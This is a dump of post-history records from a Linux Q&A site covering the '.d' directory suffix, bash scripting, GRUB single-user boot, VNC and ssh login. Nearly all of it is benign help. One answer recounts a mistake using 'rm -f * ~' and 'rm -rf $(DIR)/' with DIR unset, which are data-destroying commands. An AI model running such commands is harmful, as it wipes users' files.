  <row Id="8760" PostHistoryTypeId="5" PostId="4029" RevisionGUID="39daa98e-3ee4-40d8-aeb2-828fb293bb97" CreationDate="2010-11-13T18:37:30.607" UserId="653" Comment="be more precise" Text="I know many directories with .d in their name:&#xD;&#xA;&#xD;&#xA;    init.d&#xD;&#xA;    yum.repos.d&#xD;&#xA;    conf.d&#xD;&#xA;&#xD;&#xA;Does it mean directory? If yes, from what does this disambiguate?&#xD;&#xA;&#xD;&#xA;UPDATE: I've had many interesting answers about what the .d means, but the title of my question was not well chosen. I changed &quot;mean&quot; to &quot;stand for&quot;, I hope this is clearer now." />
  <row Id="8761" PostHistoryTypeId="4" PostId="4029" RevisionGUID="39daa98e-3ee4-40d8-aeb2-828fb293bb97" CreationDate="2010-11-13T18:37:30.607" UserId="653" Comment="be more precise" Text="What does the .d stand for in directory names?" />
  <row Id="8762" PostHistoryTypeId="2" PostId="4036" RevisionGUID="fe18e48a-f758-4c0f-adaa-2ab48bb541a6" CreationDate="2010-11-13T19:26:52.693" UserId="1267" Text="&#xD;&#xA;&#xD;&#xA;Can anyone suggest a good &quot;Dictionary&quot; software in Linux. I have artha, but i am actually expecting a better one. " />
  <row Id="8763" PostHistoryTypeId="1" PostId="4036" RevisionGUID="fe18e48a-f758-4c0f-adaa-2ab48bb541a6" CreationDate="2010-11-13T19:26:52.693" UserId="1267" Text="Best Dictionary Software for LiNux" />
  <row Id="8764" PostHistoryTypeId="3" PostId="4036" RevisionGUID="fe18e48a-f758-4c0f-adaa-2ab48bb541a6" CreationDate="2010-11-13T19:26:52.693" UserId="1267" Text="ésoftwareà" />
  <row Id="8765" PostHistoryTypeId="5" PostId="4036" RevisionGUID="b4ca4602-4711-4c30-bec2-031afedf14b5" CreationDate="2010-11-13T19:35:22.457" UserId="1207" Comment="deleted 4 characters in body; edited title" Text="Can anyone suggest a good &quot;Dictionary&quot; software in Linux. I have artha, but I am actually expecting a better one. " />
  <row Id="8766" PostHistoryTypeId="4" PostId="4036" RevisionGUID="b4ca4602-4711-4c30-bec2-031afedf14b5" CreationDate="2010-11-13T19:35:22.457" UserId="1207" Comment="deleted 4 characters in body; edited title" Text="Best Dictionary Software for Linux" />
  <row Id="8767" PostHistoryTypeId="5" PostId="4036" RevisionGUID="3092b4a7-331c-4b7a-9555-c2bb4ff176c5" CreationDate="2010-11-13T20:02:51.493" UserId="1267" Comment="added 142 characters in body" Text="Can anyone suggest a good &quot;Dictionary&quot; software in Linux. I have artha, but I am actually expecting a better one. &#xD;&#xA;&#xD;&#xA;Ok here are things which i look out for in a dictionary:&#xD;&#xA;&#xD;&#xA;- Good database&#xD;&#xA;&#xD;&#xA;- Word pronounciation (This is not available in Artha.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8768" PostHistoryTypeId="2" PostId="4037" RevisionGUID="009ef9c2-db9b-4fab-ba23-79363a6dd36b" CreationDate="2010-11-13T20:24:54.123" UserId="2626" Text="**Goldendict**: http://goldendict.org/&#xD;&#xA;" />
  <row Id="8769" PostHistoryTypeId="2" PostId="4038" RevisionGUID="818c0e3e-c5a6-4fb1-bb89-9a1e3b464616" CreationDate="2010-11-13T20:33:03.793" UserId="382" Text="I think, but cannot document, that the `.d` indicates that the directory is associated with a &lt;b&gt;d&lt;/b&gt;aemon.&#xD;&#xA;&#xD;&#xA;Evidence would indicate that this is at least plausible:&#xD;&#xA;&#xD;&#xA;    sudo find / -maxdepth 3 -name &quot;*.d&quot;&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;&lt;sub&gt;Somewhere in the deep recesses of the little bits of ancient Unix history still rattling around in the back of my mind behind the cobwebs, this calls out to me as the correct answer. I believe it may have come from a time when the first mammals roamed the earth before the dinosaurs began to die out and `man` pages were not only kept on the system but also physically in racks measured by the foot.&lt;/sub&gt;&lt;/sup&gt;" />
  <row Id="8770" PostHistoryTypeId="2" PostId="4039" RevisionGUID="65cd414d-9780-4eef-a367-0674246ef280" CreationDate="2010-11-13T20:44:19.827" UserId="73" Text="I don't use it regularly, but [neercs](http://caca.zoy.org/wiki/neercs) claims to support this. It's a `screen`-like program with miscellaneous fancy features like better pane management, but the main thing it offers is the ability to import a process into a pane" />
  <row Id="8771" PostHistoryTypeId="2" PostId="4040" RevisionGUID="bed994d1-b54f-4ce0-b83d-586f62526fe6" CreationDate="2010-11-13T20:44:38.680" UserId="2653" Text="Excerpt from a [Debian mailing list...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;...When distribution packaging became more and more common, it became clear&#xD;&#xA;that we needed better ways of forming such configuration files out of&#xD;&#xA;multiple fragments, often provided by multiple independent packages.  Each&#xD;&#xA;package that needs to configure some shared service should be able to&#xD;&#xA;manage only its configuration without having to edit a shared&#xD;&#xA;configuration file used by other packages.&#xD;&#xA;&#xD;&#xA;The most common convention adopted was to permit including a directory&#xD;&#xA;full of configuration files, where anything dropped into that directory&#xD;&#xA;would become active and part of that configuration.  As that convention&#xD;&#xA;became more widespread, that directory was usually named after the&#xD;&#xA;configuration file that it was replacing or augmenting.  But since one&#xD;&#xA;cannot have a directory and a file with the same name, some method was&#xD;&#xA;required to distinguish, so .d was appended to the end of the&#xD;&#xA;configuration file name.  Hence, a configuration file /etc/Muttrc was&#xD;&#xA;augmented by fragments in /etc/Muttrc.d, /etc/bash_completion was&#xD;&#xA;augmented with /etc/bash_completion.d/*, and so forth.  Sometimes slight&#xD;&#xA;variations on that convention are used, such as /etc/xinetd.d to&#xD;&#xA;supplement /etc/xinetd.conf, or /etc/apache2/conf.d to supplement&#xD;&#xA;/etc/apache2/apache2.conf.  But it's the same basic idea.&#xD;&#xA;&#xD;&#xA;**Generally when you see that *.d convention, it means &quot;this is a directory&#xD;&#xA;holding a bunch of configuration fragments which will be merged together&#xD;&#xA;into configuration for some service.&quot;**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel/2010/04/msg00352.html" />
  <row Id="8772" PostHistoryTypeId="5" PostId="4040" RevisionGUID="9df92d93-64c3-42bf-b0ee-32f7ca82ad32" CreationDate="2010-11-13T20:50:21.937" UserId="2653" Comment="spelling" Text="Excerpt from a [Debian mailing list...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;...When distribution packaging became more and more common, it became clear&#xD;&#xA;that we needed better ways of forming such configuration files out of&#xD;&#xA;multiple fragments, often provided by multiple independent packages.  Each&#xD;&#xA;package that needs to configure some shared service should be able to&#xD;&#xA;manage only its configuration without having to edit a shared&#xD;&#xA;configuration file used by other packages.&#xD;&#xA;&#xD;&#xA;The most common convention adopted was to permit including a directory&#xD;&#xA;full of configuration files, where anything dropped into that directory&#xD;&#xA;would become active and part of that configuration.  As that convention&#xD;&#xA;became more widespread, that directory was usually named after the&#xD;&#xA;configuration file that it was replacing or augmenting.  But since one&#xD;&#xA;cannot have a directory and a file with the same name, some method was&#xD;&#xA;required to distinguish, so .d was appended to the end of the&#xD;&#xA;configuration file name.  Hence, a configuration file /etc/Muttrc was&#xD;&#xA;augmented by fragments in /etc/Muttrc.d, /etc/bash_completion was&#xD;&#xA;augmented with /etc/bash_completion.d/*, and so forth.  Sometimes slight&#xD;&#xA;variations on that convention are used, such as /etc/xinetd.d to&#xD;&#xA;supplement /etc/xinetd.conf, or /etc/apache2/conf.d to supplement&#xD;&#xA;/etc/apache2/apache2.conf.  But it's the same basic idea.&#xD;&#xA;&#xD;&#xA;**Generally when you see that *.d convention, it means &quot;this is a directory&#xD;&#xA;holding a bunch of configuration fragments which will be merged together&#xD;&#xA;into configuration for some service.&quot;**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;For part 2, the reason for the &quot;.d&quot;, my best guess would be &quot;distributed&quot;, as in *not part of the main configuration file, but still part of the configuration*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel/2010/04/msg00352.html" />
  <row Id="8773" PostHistoryTypeId="2" PostId="4041" RevisionGUID="bdd3848c-1233-4aa8-8923-f231a66ad2cf" CreationDate="2010-11-13T21:57:39.967" UserId="2640" Text="So I just want to make a simple bash file, that takes a file name as a parameter. In that bash file, I want to take the name, before the extension, and have it as a &quot;variable&quot;, to use in other places. For example, if I was to run `bash_script_name sample.asm`, the bash script would run:&#xD;&#xA;&#xD;&#xA;    nasm -f elf sample.asm&#xD;&#xA;    ld -s -o sample sample.o io.o&#xD;&#xA;&#xD;&#xA;So basically the form of `bash_script_name $().asm`&#xD;&#xA;&#xD;&#xA;    nasm -f elf $().asm&#xD;&#xA;    ld -s -o $() $().o io.o&#xD;&#xA;&#xD;&#xA;How ever you would do that in bash. I dunno, because I have almost no bash experience." />
  <row Id="8774" PostHistoryTypeId="1" PostId="4041" RevisionGUID="bdd3848c-1233-4aa8-8923-f231a66ad2cf" CreationDate="2010-11-13T21:57:39.967" UserId="2640" Text="Simple &quot;Variable&quot; Bash File" />
  <row Id="8775" PostHistoryTypeId="3" PostId="4041" RevisionGUID="bdd3848c-1233-4aa8-8923-f231a66ad2cf" CreationDate="2010-11-13T21:57:39.967" UserId="2640" Text="ébashàéshellöscriptà" />
  <row Id="8776" PostHistoryTypeId="2" PostId="4042" RevisionGUID="403fe7c7-a1a6-4e92-8ae1-401c0736e0a3" CreationDate="2010-11-13T22:13:01.880" UserId="73" Text="The first argument to the script will be in `$1`. You can use a [bash string replacement](http://tldp.org/LDP/abs/html/string-manipulation.html) to pull the extension; this removes everything from the last occurrence of `.` forward, and stores the result in `$filename`:&#xD;&#xA;&#xD;&#xA;    filename=&quot;${1%.*}&quot;&#xD;&#xA;&#xD;&#xA;Then you can use `$filename` in your script wherever you want:&#xD;&#xA;&#xD;&#xA;nasm -f elf &quot;$filename.asm&quot;&#xD;&#xA;ld -s -o &quot;$filename&quot; &quot;$filename&quot;.o io.o&#xD;&#xA;" />
  <row Id="8777" PostHistoryTypeId="5" PostId="4040" RevisionGUID="b3cda0a6-3ead-4e84-873e-e5f4460ae310" CreationDate="2010-11-13T22:27:12.720" UserId="1207" Comment="added the quote as a quote" Text="Excerpt from a [Debian mailing list][1] (emphasis added):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;When distribution packaging became more and more common, it became clear&#xD;&#xA;that we needed better ways of forming such configuration files out of&#xD;&#xA;multiple fragments, often provided by multiple independent packages.  Each&#xD;&#xA;package that needs to configure some shared service should be able to&#xD;&#xA;manage only its configuration without having to edit a shared&#xD;&#xA;configuration file used by other packages.&#xD;&#xA;&#xD;&#xA;&gt;The most common convention adopted was to permit including a directory&#xD;&#xA;full of configuration files, where anything dropped into that directory&#xD;&#xA;would become active and part of that configuration.  As that convention&#xD;&#xA;became more widespread, that directory was usually named after the&#xD;&#xA;configuration file that it was replacing or augmenting.  But since one&#xD;&#xA;cannot have a directory and a file with the same name, some method was&#xD;&#xA;required to distinguish, so .d was appended to the end of the&#xD;&#xA;configuration file name.  Hence, a configuration file /etc/Muttrc was&#xD;&#xA;augmented by fragments in /etc/Muttrc.d, /etc/bash_completion was&#xD;&#xA;augmented with /etc/bash_completion.d/*, and so forth.  Sometimes slight&#xD;&#xA;variations on that convention are used, such as /etc/xinetd.d to&#xD;&#xA;supplement /etc/xinetd.conf, or /etc/apache2/conf.d to supplement&#xD;&#xA;/etc/apache2/apache2.conf.  But it's the same basic idea.&#xD;&#xA;&#xD;&#xA;&gt;**Generally when you see that *.d convention, it means &quot;this is a directory&#xD;&#xA;holding a bunch of configuration fragments which will be merged together&#xD;&#xA;into configuration for some service.&quot;**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;For part 2, the reason for the &quot;.d&quot;, my best guess would be &quot;distributed&quot;, as in *not part of the main configuration file, but still part of the configuration*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel/2010/04/msg00352.html" />
  <row Id="8778" PostHistoryTypeId="5" PostId="1148" RevisionGUID="5b25a8e4-05a3-4045-a757-17488bc7e041" CreationDate="2010-11-13T22:50:10.523" UserId="474" Comment="improved formatting" Text="    rm -f * ~&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    rm -rf $(DIR)/&#xD;&#xA;&#xD;&#xA;when DIR was not set!" />
  <row Id="8779" PostHistoryTypeId="5" PostId="4042" RevisionGUID="d5036157-f247-41b5-9bbc-015bead9769f" CreationDate="2010-11-13T23:25:04.990" UserId="73" Comment="added 10 characters in body" Text="The first argument to the script will be in `$1`. You can use a [bash string replacement](http://tldp.org/LDP/abs/html/string-manipulation.html) to pull the extension; this removes everything from the last occurrence of `.` forward, and stores the result in `$filename`:&#xD;&#xA;&#xD;&#xA;    filename=&quot;${1%.*}&quot;&#xD;&#xA;&#xD;&#xA;Then you can use `$filename` in your script wherever you want:&#xD;&#xA;&#xD;&#xA;    nasm -f elf &quot;$filename.asm&quot;&#xD;&#xA;    ld -s -o &quot;$filename&quot; &quot;$filename&quot;.o io.o&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8780" PostHistoryTypeId="5" PostId="4030" RevisionGUID="fcdf1665-a155-4031-bc4e-f214f22cd8ab" CreationDate="2010-11-14T00:21:38.087" UserId="250" Comment="explain quite splash; added 27 characters in body" Text="You can enter single user mode by passing the parameter `single` to the kernel. Single user mode will give you a terminal with root privileges. It may also help to remove the splash screen and enable verbose mode by removing `quiet` and `splash` from the parameter list (if they exist, of course). To boot into single user mode, from the GRUB menu press &lt;kbd&gt;e&lt;/kbd&gt;, then look for the line that looks like&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro quiet splash&#xD;&#xA;&#xD;&#xA;and change it to&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro single" />
  <row Id="8781" PostHistoryTypeId="5" PostId="4030" RevisionGUID="40326c7a-4ad9-47c7-948a-c6fc108fe5ab" CreationDate="2010-11-14T00:31:25.330" UserId="250" Comment="more explanation about quiet and splash" Text="You can enter single user mode by passing the parameter `single` or `1` to the kernel. Single user mode will give you a terminal with root privileges. It may also help to disable the splash screen and enable verbose mode by removing `quiet` and `splash` from the parameter list (if they exist, of course). To boot into single user mode, from the GRUB menu press &lt;kbd&gt;e&lt;/kbd&gt;, then look for the line that looks like&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro quiet splash&#xD;&#xA;&#xD;&#xA;and add `single` to the end, removing `quiet` and `splash` if they exist so that it becomes&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro single&#xD;&#xA;&#xD;&#xA;or, alternatively&#xD;&#xA;&#xD;&#xA;    linux   /boot/vmlinuz root=/dev/sda4 ro 1" />
  <row Id="8782" PostHistoryTypeId="2" PostId="4043" RevisionGUID="d6977463-db4b-4571-8c73-679d617f1f7f" CreationDate="2010-11-14T02:43:11.003" UserId="1959" Text="I run a VNC client (tightvnc) along with other applications on a Windows machine. Inside my VNC session, I typically have several xterms and gvim windows open. **How can I switch between the applications within VNC?** If I do ALT-TAB, that results in switching between the applications in Windows where the whole VNC is considered as a single application; I do not want that. Is there some way to configure some key bindings, any two/three keystroke is okay for me, to do the job?" />
  <row Id="8783" PostHistoryTypeId="1" PostId="4043" RevisionGUID="d6977463-db4b-4571-8c73-679d617f1f7f" CreationDate="2010-11-14T02:43:11.003" UserId="1959" Text="Task Switcher inside VNC" />
  <row Id="8784" PostHistoryTypeId="3" PostId="4043" RevisionGUID="d6977463-db4b-4571-8c73-679d617f1f7f" CreationDate="2010-11-14T02:43:11.003" UserId="1959" Text="éwindowömanageràévncà" />
  <row Id="8785" PostHistoryTypeId="2" PostId="4044" RevisionGUID="2cb3fc47-4688-4d13-b67d-3c844bc1b310" CreationDate="2010-11-14T06:03:48.477" UserId="912" Text="This is what I get&#xD;&#xA;&#xD;&#xA;    $ sudo yum install git-core&#xD;&#xA;    file://localhost/tmp/common1/x86_64/redhat/50/base/ga/Server/repodata/repomd.xml: [Errno 5] OSError: [Errno 2] No such file or directory: '/tmp/common1/x86_64/redhat/50/base/ga/Server/repodata/repomd.xml'&#xD;&#xA;    Trying other mirror.&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package git-core available.&#xD;&#xA;    Nothing to do&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;What is wrong here?" />
  <row Id="8786" PostHistoryTypeId="1" PostId="4044" RevisionGUID="2cb3fc47-4688-4d13-b67d-3c844bc1b310" CreationDate="2010-11-14T06:03:48.477" UserId="912" Text="Problem installing git on my Redhat machine" />
  <row Id="8787" PostHistoryTypeId="3" PostId="4044" RevisionGUID="2cb3fc47-4688-4d13-b67d-3c844bc1b310" CreationDate="2010-11-14T06:03:48.477" UserId="912" Text="égitàégitöinstallationà" />
  <row Id="8788" PostHistoryTypeId="2" PostId="4045" RevisionGUID="96574dd3-4c8c-4f25-a0cb-429cde170de0" CreationDate="2010-11-14T07:20:45.723" UserId="1020" Text="I've started running into a kind of strange problem on my laptop, and Google hasn't proved to be very helpful so far.&#xD;&#xA;&#xD;&#xA;Essentially, at seemingly random times, my microphone will start sending output directly to my speakers/headphones and I cannot disable it. Going through the Gnome GUI and muting my microphone doesn't stop the sound, and disabling the capture channel in `alsamixer` doesn't help either. For that matter, I can set every channel to a level of &quot;0&quot; in `alsamixer`, but if I unmute the master I'll **still** hear microphone input.&#xD;&#xA;&#xD;&#xA;So far the only thing that solves the issue is rebooting my system, but that's clearly an inconvenient &quot;workaround&quot; for the problem. If I was on a desktop this might not bother me much, but my mic is integrated into my laptop so my typing and touchpad clicks get picked up and amplified right through my headphones (which is incredibly annoying, obviously).&#xD;&#xA;&#xD;&#xA;This is on a fairly fresh Fedora 14 install, but the problem started on 13. `lspci` and `alsa-info` report my sound card as:&#xD;&#xA;&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)&#xD;&#xA;&#xD;&#xA;and `lsmod` notes that the `snd_hda_intel` module is loaded.&#xD;&#xA;&#xD;&#xA;Has anybody experienced this before? Any helpful hints? It might very well be a simple solution, but I just can't seem to figure out what it is.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8789" PostHistoryTypeId="1" PostId="4045" RevisionGUID="96574dd3-4c8c-4f25-a0cb-429cde170de0" CreationDate="2010-11-14T07:20:45.723" UserId="1020" Text="Microphone always picks up sound and routes it to speakers" />
  <row Id="8790" PostHistoryTypeId="3" PostId="4045" RevisionGUID="96574dd3-4c8c-4f25-a0cb-429cde170de0" CreationDate="2010-11-14T07:20:45.723" UserId="1020" Text="éfedoraàéaudioàéalsaà" />
  <row Id="8791" PostHistoryTypeId="2" PostId="4046" RevisionGUID="931f00dd-8e7c-4a9c-a080-0c5fb5346aa0" CreationDate="2010-11-14T11:15:26.393" UserId="1995" Text="I have a bunch of photos. They're all the same height, and I'm trying to put them together into a composite image using ImageMagick's montage program via Bash. The problem is that by default, the tile size (one image occupies one tile) is equal to the image with the largest dimensions. Narrow images, therefore, are surrounded by a lot of white space. I want to remove this white space. How can I do it?" />
  <row Id="8792" PostHistoryTypeId="1" PostId="4046" RevisionGUID="931f00dd-8e7c-4a9c-a080-0c5fb5346aa0" CreationDate="2010-11-14T11:15:26.393" UserId="1995" Text="remove extra tilespace from a montage (ImageMagick) composite image?" />
  <row Id="8793" PostHistoryTypeId="3" PostId="4046" RevisionGUID="931f00dd-8e7c-4a9c-a080-0c5fb5346aa0" CreationDate="2010-11-14T11:15:26.393" UserId="1995" Text="ébashà" />
  <row Id="8794" PostHistoryTypeId="2" PostId="4047" RevisionGUID="fcef5f0b-499d-4129-9cba-84c3cfd8237b" CreationDate="2010-11-14T11:16:15.703" UserId="2594" Text="The &quot;.d&quot; suffix here means directory. Of course, this would be unnecessary as Unix doesn't require a suffix to denote a file type but in that specific case, something was necessary to disambiguate the commands (/etc/init, /etc/rc0, etc/rc1 and so on) an the directories they use (/etc/init.d, /etc/rc0.d, ...) This convention was introduced at least with Unix System V but possibly earlier. The init command used to be located in /etc but is now in /sbin on modern System V OSes." />
  <row Id="8795" PostHistoryTypeId="2" PostId="4048" RevisionGUID="11186a59-3e19-4166-b448-3127907ec8a4" CreationDate="2010-11-14T12:00:53.330" UserId="2200" Text="Hi, is it possible to redirection the output of a command to &quot;cd&quot;? For example, I have searched for a directory using locate and got the path to it. Now, instead of writing cd path, can I redirect the output to cd?&#xD;&#xA;&#xD;&#xA;I've tried this:&#xD;&#xA;&#xD;&#xA;    oliver@nell:~$ locate Descargas | grep Descargas$&#xD;&#xA;    /home/oliver/Descargas&#xD;&#xA;    oliver@nell:~$ locate Descargas | grep Descargas$ | cd&#xD;&#xA;    oliver@nell:~$ locate Descargas | grep Descargas$ &gt; cd&#xD;&#xA;    oliver@nell:~$ locate Descargas | grep Descargas$ &lt; cd&#xD;&#xA;    /home/oliver/Descargas&#xD;&#xA;    oliver@nell:~$ &#xD;&#xA;&#xD;&#xA;But no luck. It probably isn't something very useful but I'm curious &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8796" PostHistoryTypeId="1" PostId="4048" RevisionGUID="11186a59-3e19-4166-b448-3127907ec8a4" CreationDate="2010-11-14T12:00:53.330" UserId="2200" Text="redirection to cd command" />
  <row Id="8797" PostHistoryTypeId="3" PostId="4048" RevisionGUID="11186a59-3e19-4166-b448-3127907ec8a4" CreationDate="2010-11-14T12:00:53.330" UserId="2200" Text="éshellàéioöredirectionà" />
  <row Id="8798" PostHistoryTypeId="2" PostId="4049" RevisionGUID="53aede16-44a5-4eef-bf0d-880b54cc88ee" CreationDate="2010-11-14T12:29:10.430" UserId="1107" Text="You want command substitution, not redirection:&#xD;&#xA;&#xD;&#xA;    cd &quot;$(locate Descargas | grep -F 'Descargas$')&quot;" />
  <row Id="8799" PostHistoryTypeId="5" PostId="4049" RevisionGUID="27bc3638-d977-4dca-bead-5141446d10e7" CreationDate="2010-11-14T12:34:24.517" UserId="1107" Comment="nesting example" Text="You want command substitution, not redirection:&#xD;&#xA;&#xD;&#xA;    cd &quot;$(locate Descargas | grep -F 'Descargas$')&quot;&#xD;&#xA;&#xD;&#xA;The bits between the `$(` and the `)` are run as a command and the output (stripped of any final newline) is substituted into the overall command.&#xD;&#xA;&#xD;&#xA;This can also be done with ‘back ticks’ (“\`”):&#xD;&#xA;&#xD;&#xA;    cd &quot;`locate Descargas | grep -F 'Descargas$'`&quot;&#xD;&#xA;&#xD;&#xA;The dollar-paren syntax is generally preferred because it is easier to deal with in nested situations:&#xD;&#xA;&#xD;&#xA;    # contrived&#xD;&#xA;    cd &quot;$(grep '^dir: ' &quot;$(locate interesting-places | head -1)&quot; | sed 's/^[^ ]*//')&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8800" PostHistoryTypeId="6" PostId="4046" RevisionGUID="d0a0da28-2d67-42ef-a708-b9b042e9ea48" CreationDate="2010-11-14T12:36:03.487" UserId="885" Comment="edited tags" Text="ébashàéimagemagickàéimageömanipulationà" />
  <row Id="8801" PostHistoryTypeId="5" PostId="3911" RevisionGUID="a5487b9a-d825-479c-a177-4b7f18469010" CreationDate="2010-11-14T13:57:43.587" UserId="279" Comment="fixed grammar" Text="Try [Pinta][1], its interface is pretty similar to MS Paint's.&#xD;&#xA;&#xD;&#xA;  [1]: http://pinta-project.com/" />
  <row Id="8802" PostHistoryTypeId="2" PostId="4050" RevisionGUID="b7c9a58c-0d7f-43fc-8d0d-574559c76d25" CreationDate="2010-11-14T14:11:02.900" UserDisplayName="Richard Davies" Text="Is there a way to configure Kate to use tab spaces of more than 16 spaces? I am using Kate to make up a tab separated file for import into a database and some of the data needs about 30 spaces between tab stops." />
  <row Id="8803" PostHistoryTypeId="1" PostId="4050" RevisionGUID="b7c9a58c-0d7f-43fc-8d0d-574559c76d25" CreationDate="2010-11-14T14:11:02.900" UserDisplayName="Richard Davies" Text="Big tab spacings with Kate" />
  <row Id="8804" PostHistoryTypeId="3" PostId="4050" RevisionGUID="b7c9a58c-0d7f-43fc-8d0d-574559c76d25" CreationDate="2010-11-14T14:11:02.900" UserDisplayName="Richard Davies" Text="ékateà" />
  <row Id="8805" PostHistoryTypeId="2" PostId="4051" RevisionGUID="6cdcb168-ce4e-4dbd-911f-ad51015c5298" CreationDate="2010-11-14T15:02:31.260" UserId="1097" Text="This probably does belong on SuperUser, but, here's a solution.&#xD;&#xA;&#xD;&#xA;I use the vnc viewer from TightVNC (so, this might not work on all vnc viewers). On the tool bar at the top of the vnc viewer window there is an ALT modifier button. Click that (it should remain pressed). Then, just press tab. Once you've got the window you want, click the alt button again to un-press it.&#xD;&#xA;&#xD;&#xA;![Alt-toolbar-button][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/xw7m0.png" />
  <row Id="8806" PostHistoryTypeId="2" PostId="4052" RevisionGUID="7078c585-40ca-44d5-bcf2-49da21230b2e" CreationDate="2010-11-14T15:27:05.383" UserDisplayName="Spider.Ch" Text="Well? If you use DE, it better to use NetworkManager clck.ru/2Y77 . Else you need configure net file(/etc/conf.d/net):&#xD;&#xA;`config_wlan0=(&quot;dhcp&quot;)&#xD;&#xA; modules=(&quot;iwconfig&quot;)&#xD;&#xA; preferred_aps=(&quot;WI-FI_NAME&quot;)&#xD;&#xA; config_WI-FI_NAME=(&quot;dhcp&quot;)&#xD;&#xA;` and then : `/etc/init.d/net.wlan0 start`. It should works. Sorry for my bad English. " />
  <row Id="8807" PostHistoryTypeId="2" PostId="4053" RevisionGUID="ad0a8a5d-92b3-48eb-97bd-fca7ae2d7f56" CreationDate="2010-11-14T15:50:00.800" UserId="2648" Text="Well some of the programs include:&#xD;&#xA;&lt;br&gt;- f-spot&#xD;&#xA;&lt;br&gt;- gthumb&#xD;&#xA;&lt;br&gt;- picasa&#xD;&#xA;&#xD;&#xA;They are easy to use but their optins are pretty poor comparing to Inkscape or Gimp (even though Inscape is used for vector editing and Gimp for raster).&#xD;&#xA;&#xD;&#xA;Have in mind that Gimp is **worth** of trying a little harder since when you master the basic funcionts in it will boost your image editing on daily basis. If you dont like current UI of Gimp, use v2.7 to get single window UI (like photoshop). Check this out for Gimp:&#xD;&#xA;http://www.tuxradar.com/gimp . There you can get a bunch of nice and free PDFs for Gimp usage and stuff." />
  <row Id="8808" PostHistoryTypeId="2" PostId="4054" RevisionGUID="d785f11a-1e79-4636-a061-33c520077096" CreationDate="2010-11-14T16:02:13.420" UserId="1294" Text="I think you are misunderstanding the purpose of tab separated data files: they are designed for easy program import, not to be visually pleasing to humans.&#xD;&#xA;&#xD;&#xA;Since you are importing the data into database, explore the report generation tools available to you from the database. You will have far more flexibility; for example, you can make a very long field wrap to multiple lines rather than taking up a huge chunk of horizontal space.&#xD;&#xA;&#xD;&#xA;If this is not suitable, tabs are an archaic and inconvenient way of forming readable tables and tools like Perl (the backronymmed &quot;Practical Extraction and Report Language&quot;) can do far better." />
  <row Id="8809" PostHistoryTypeId="5" PostId="4052" RevisionGUID="057c1b54-900d-4d59-aa14-2c6fe02ee96c" CreationDate="2010-11-14T16:10:51.833" UserId="1207" Comment="I tried to fix up the formatting." Text="If you use DE, it's better to use NetworkManager `clck.ru/2Y77`. &#xD;&#xA;&#xD;&#xA;Otherwise, you need to edit the net configuration file(`/etc/conf.d/net`):&#xD;&#xA;&#xD;&#xA;    config_wlan0=(&quot;dhcp&quot;)&#xD;&#xA;    modules=(&quot;iwconfig&quot;)&#xD;&#xA;    preferred_aps=(&quot;WI-FI_NAME&quot;)&#xD;&#xA;    config_WI-FI_NAME=(&quot;dhcp&quot;)&#xD;&#xA;&#xD;&#xA;and then: `/etc/init.d/net.wlan0 start`. It should work. Sorry for my bad English. " />
  <row Id="8810" PostHistoryTypeId="2" PostId="4055" RevisionGUID="e317d281-eb91-4d41-b37f-7416c6bee8b3" CreationDate="2010-11-14T16:11:38.907" UserId="2661" Text="How exactly looks process of logging in via ssh?&#xD;&#xA;&#xD;&#xA;1. we try to log in via ssh&#xD;&#xA;2. sshd starts pam and pam module to authenticate us&#xD;&#xA;3. depending on pam configuration we need to provide username and password (pam checks passwd and shadow files)&#xD;&#xA;4. pam checks for hosts.allow/deny /etc/shells and other things&#xD;&#xA;5. if everything goes fine we are logged in&#xD;&#xA;6. ???&#xD;&#xA;7. shell is started&#xD;&#xA;&#xD;&#xA;So my question is what exactly mechanizm is responsible for checking what shell is assigned to user in passwd file (in step 6)? Is it pam itself or specific pam module or sshd or some other thing? I know that I can replace passwd file (for checking username and password) by writing pam module, but how can I replace passwd file for shell value?" />
  <row Id="8811" PostHistoryTypeId="1" PostId="4055" RevisionGUID="e317d281-eb91-4d41-b37f-7416c6bee8b3" CreationDate="2010-11-14T16:11:38.907" UserId="2661" Text="How exactly looks process of logging in via ssh?" />
  <row Id="8812" PostHistoryTypeId="3" PostId="4055" RevisionGUID="e317d281-eb91-4d41-b37f-7416c6bee8b3" CreationDate="2010-11-14T16:11:38.907" UserId="2661" Text="éshellàésshàépamà" />
